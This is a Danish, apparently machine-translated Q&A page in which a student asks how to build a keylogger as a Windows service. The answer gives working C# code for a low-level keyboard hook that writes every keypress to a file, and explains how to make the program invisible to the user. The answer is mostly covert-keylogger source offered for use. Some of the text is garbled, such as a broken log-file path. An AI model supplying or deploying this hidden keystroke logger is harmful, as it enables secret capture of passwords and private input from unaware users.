c # - Windows Service Keylogger

Indlæg af Hanne Mølgaard Plasc

Problem



Jeg har et universitetsprojekt, der kræver at skabe en slags keylogger med c #, jeg mener at få alle tastaturindgange fra brugeren og sætte dem i en fil. Indgangen, som i dette tilfælde er en tekst, skal også krypteres. Denne applikation skal være en Windows-tjeneste, jeg er ny til Windows-tjenester, men jeg har lykkedes at oprette en Windows-tjeneste ved hjælp af Visual Studio 2015. Problemet er nu på keyloggeren, jeg har søgt efter ganske lang nu, men de fleste keyloggers jeg har set er blevet udviklet ved hjælp af Windows-formularer og ikke Windows-tjenester. Jeg har denne funktion:


protected override void OnStart(string[] args)
{
  System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + "OnStart.txt");
}


Hvad jeg har gjort her er, at når tjenesten starter, opretter den en ny .txt-fil kaldet Output i programmets mappe, hvor alle input af brugeren skal gemmes eller optages.


Kan nogen hjælpe mig eller omdirigere mig et sted, så jeg kunne oprette en simpel keylogger ved hjælp af en windows service? Jeg har formået at oprette en keylogger med Windows-formularer ved hjælp af en timer, der ville gemme dataene hvert sekund, men at bruge en windows-tjeneste synes at være lidt svært for mig.

Bedste reference


Fra dette spørgsmål ser det ud til, at det måske ikke er muligt at gøre af en tjeneste af sikkerhedsmæssige årsager.


Du kan dog oprette et program, der bruger keybaord kroge og ikke viser nogen konsol eller windows, hvilket betyder, at det vil blive skjult for brugeren (ligesom en tjeneste ville).


For at gøre dette skal du først deklarere nogle felter:


private const int WH\_KEYBOARD\_LL = 13;
private const int WM\_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc \_proc = HookCallback;
private static IntPtr \_hookID = IntPtr.Zero;

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);


Indfør så disse indfødte metoder:


[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, 
    LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
    IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);


Opret disse metoder, hvor HookCallback vil håndtere eventuelle detekterede nøglepresser (så skriv til fil her uder kommentaren)


private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && wParam == (IntPtr)WM\_KEYDOWN)
    {
        int vkCode = Marshal.ReadInt32(lParam);
        var keyName = Enum.GetName(typeof(Keys), vkCode);
        var path = @"C:	estlogfile.txt";

        // Handle the key press here
        var text = ((Keys)vkCode).ToString();
        File.AppendAllText(path, text);
    }

    return CallNextHookEx(\_hookID, nCode, wParam, lParam);
}


SetHook abonnerer grundlæggende på tastaturkrogen for os:


private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
        return SetWindowsHookEx(WH\_KEYBOARD\_LL, proc,
            GetModuleHandle(curModule.ModuleName), 0);
    }
}


Endelig tilføj disse linjer til din Main metode:


\_hookID = SetHook(\_proc);
Application.Run();
UnhookWindowsHookEx(\_hookID);


For at gøre programmet usynligt, skal du blot ændre Output Type egenskaben til en Windows Application i stedet for en Console Application.


Jeg håber, det er hjælp til dig